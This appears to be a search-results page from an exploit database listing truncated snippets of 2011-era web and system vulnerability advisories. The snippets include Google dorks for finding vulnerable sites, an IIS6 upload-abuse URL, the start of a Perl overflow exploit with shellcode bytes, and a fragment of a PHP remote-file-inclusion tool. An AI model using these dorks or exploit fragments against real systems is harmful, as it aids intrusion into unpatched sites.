11989 matches found
WebDirector SQL Injection / Administrative Bypass
WEBDIRECTOR SQL & Admin ByPass Vulnerabilities WebDirector is a dynamic, self managed website solution with everything your business needs. CMS Vendor: http://www.corporateinteractive.com.au/ Demo: http://demo.webdirector.net.au/ Credit: DoZ 1. WYSIWIG Editor Admin ByPass WYSIWIG Editor Pages Not...
XYCMS enterprise built Station system vulnerabilities-vulnerability warning-the black bar safety net
Author: 0xcodede 90Sec inurl:Showservices. asp? id= The first visit http://www.90sec.org/admin/xyeWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=1. asp To produce a 1. asp directory Using IIS6. 0 parsing vulnerability Use the form below to submit form...
WHMCompleteSolution 3.x/4.x - Multiple Vulnerabilities
$b0x WHMCS WHMCompleteSolution 3.x / 4.x Multiple Vulnerability ! $b0x ZxH-Labs $b0x 1st-NOV-11 $b0x Www.Sec4ever.coM $b0x WH-03 On Windows IIS 6.0 ======================================================== b0x@1337b0x:/b0x/Exploits/WebAPP whoami ZxH-Labs | Www.Sec4ever.coM...
IT-Grundschutz M4.249: Windows Client-Systeme aktuell halten
IT-Grundschutz M4.249: Windows Client-Systeme aktuell halten. ACHTUNG: Dieser Test wird nicht mehr unterstützt. Er wurde ersetzt durch den entsprechenden Test der nun permanent and die aktuelle EL angepasst wird: OID 1.3.6.1.4.1.25623.1.0.94222 Diese Prüfung bezieht sich auf die 12...
IT-Grundschutz M5.059: Schutz vor DNS-Spoofing
IT-Grundschutz M5.059: Schutz vor DNS-Spoofing. ACHTUNG: Dieser Test wird nicht mehr unterstützt. Er wurde ersetzt durch den entsprechenden Test der nun permanent and die aktuelle EL angepasst wird: OID 1.3.6.1.4.1.25623.1.0.95061 Diese Prüfung bezieht sich auf die 12. Ergänzungslieferung 12. EL...
LabStoRe <= 1.5.4 SQL Injection
Exploit for php platform in category web applications ------------------------------------------------------------------------ LabStoRe = 1.5.4 Sql Injection Vulnerabilities ------------------------------------------------------------------------ author............: muuratsalo Revshell.com...
phpMyAdmin Arbitrary File Read
Hi 80sec report this bug on wooyun,PhpMyadmin use a simplexmlloadstring function to read xml from user input,this may be exploied to read files from the server or network in libraries/import/xml.php,some code like this / Load the XML string The option LIBXMLCOMPACT is specified because it can...
Smbwebdemo SQL Injection
Exploit Title: Smbwebdemo Sql Injection Vulnerability Date: 30/10/2011 - 00:57 Author: 3spi0n Software Website: http://www.smbwebdemo.com/ Tested On: BackTrack 5 - Win7 Ultimate Platform: Php $ Vulnerable File: Changer $ Dorks: "Designed by : Smbwebdemo" $ Demo Sites:...
Ftpd-Innes remote overflow Exploit-vulnerability warning-the black bar safety net
!/ usr/bin/perl-w use IO::Socket; if! $ARGV1 print "Usage: ./ Ftpd-innes.pl target host port\n\n"; exit; $victim = IO::Socket::INET-newProto="udp", PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my $nop0="\x90"x20; my $asm="\x7c\xc5\x66\x07\x12\x02\x50\xc3"...
How to Beat Evil Governments When Your Internet Turned Off ?
How to Beat Evil Governments When Your Internet Turned Off ? Bruce Sutherland explain at DefCon 19 Conference that "How To Get Your Message Out When Your Government Turns Off The Internet" . Bruce Sutherland is a network systems architect and software developer with Domex Computer Services Inc,...
Xorg Permission Change
Author: vladz new on twitter @v14dz! Description: Xorg permission change vulnerability CVE-2011-4029 Product: X.Org http://www.x.org/releases/ Affected: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and earlier if built with the USECHMOD preprocessor identifier PoC tested on: Debian 6.0.2 up...
eFront 3.6.10 (build 11944) - Multiple Vulnerabilities
eFront 3.6.10 build 11944 - Multiple Vulnerabilities ---------------------------------------------------------------- eFront = 3.6.10 build 11944 Multiple Security Vulnerabilities ---------------------------------------------------------------- author.............: EgiX mail...............:...
Linux 2.6.3* x86_64 2010 local root exploit
Exploit for linux platform in category local exploits / 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 0 0...
Asterisk uninitilized memory reference
Crash on SIP request processing...
InverseFlow v2.4 CSRF Vulnerabilities (Add Admin User)
Exploit for php platform in category web applications + Exploit Title: InverseFlow v2.4 CSRF Vulnerabilities Add Admin User + Version : 2.4 + Author : EjRaM HaCkEr + Contact : m2z9.cn + Dork : inurl:"ticket.php?cmd=lost" + Software Link : http://asria.info/download/script/inverseflow.zip...
Sports PHool 1.0 Remote File Inclusion
" ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $line .= fgets $file, 1024.""; $tpos1 =...
SportsPHool 1.0 - Remote File Inclusion
SportsPHool 1.0 - Remote File Inclusion " ."target:" ."evil:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$evil, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $lin...
Joomla! Plugin NoNumber Framework - Multiple Vulnerabilities
Joomla! Plugin NoNumber Framework - Multiple Vulnerabilities Exploit Title: NoNumber Framework Joomla! Plugin Multiple Vulnerabilities Discovery Date: 10 October 2011 Reported Date: 11 October 2011 Patch Date: 17 October 2011 Release Date: 17 October 2011 Author: jdc Software Link:...